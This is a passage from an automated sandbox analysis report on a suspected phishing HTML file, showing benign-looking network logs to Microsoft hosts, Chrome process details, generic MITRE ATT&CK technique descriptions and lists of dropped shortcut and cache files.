60	192.168.2.8	49783	13.107.213.40	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:51 UTC	414	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:51 UTC	799	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:51 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:34 GMT ETag: 0x8D79B8371B97A82 x-ms-request-id: 0804b5f5-f01e-004d-3988-a0e994000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T141251Z-1745598864944g42yn9gubynxg00000008n0000000003q5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 14:12:51 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	49785	13.107.213.40	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:52 UTC	422	OUT	GET /shared/1.0/content/images/picker_account_add_77a852ed38516108ced087b72b525d25.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:53 UTC	799	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:52 GMT Content-Type: image/svg+xml Content-Length: 184 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4968932E x-ms-request-id: b23610d6-901e-0033-30c7-9fb989000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T141252Z-1587864896bvsqm9dyyykazzas00000005r000000000f228 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 14:12:53 UTC	184	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 3d 4e c1 0a 83 30 14 fb 95 f2 76 1d b6 be 56 91 d1 7a d8 c9 cb ae 1e 76 13 ed 6c a1 9b 62 8b 75 7f bf 16 61 24 90 bc 10 c2 93 7e 9f c9 f1 76 1f af c0 84 b0 de 28 8d 31 16 91 17 cb 36 53 64 8c d1 d4 00 12 ed 14 8c 02 d1 00 31 da ce 26 9c 7e b7 3a de 97 43 01 23 8c 88 26 11 5a 19 6c 70 ba 1d bc d7 c1 4b 7a 5e 72 b4 db e8 34 19 53 17 05 90 f1 7b ea 76 ca cb 3a a7 e0 a2 eb 0c a0 ad 5c 87 60 c8 a4 e0 81 d5 15 79 c7 eb 1d 3b ac 7a 5e 77 c8 7b ac ba 12 fb 14 27 5f a2 c1 e7 7f 40 b0 8c 3c 90 df 6e 7f 0b 72 d3 37 de 00 00 00 Data Ascii: =N0vVzvlbua$~v(16Sd1&~:C#&ZlpKz^r4S{v:\`y;z^w{'_@<nr7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	49786	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:13:03 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5hLsy2v82oG33kA&MD=TUWNxOpB HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-07 14:13:04 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: fc7a6c3f-3902-413b-b971-b2785e018ad5 MS-RequestId: 4c4637c4-b9c0-438b-8436-d9cc5b9cae16 MS-CV: SSGK/wV9ik+lIj+G.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 07 May 2024 14:13:03 GMT Connection: close Content-Length: 25457
2024-05-07 14:13:04 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-05-07 14:13:04 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Target ID:	0
Start time:	16:12:04
Start date:	07/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\hilcorp_Salary_49372_2024.htm"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	16:12:09
Start date:	07/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2208,i,6760383206190319568,11150985953312491604,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hilcorp_Salary_49372_2024.htm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Windows Analysis Report
hilcorp_Salary_49372_2024.htm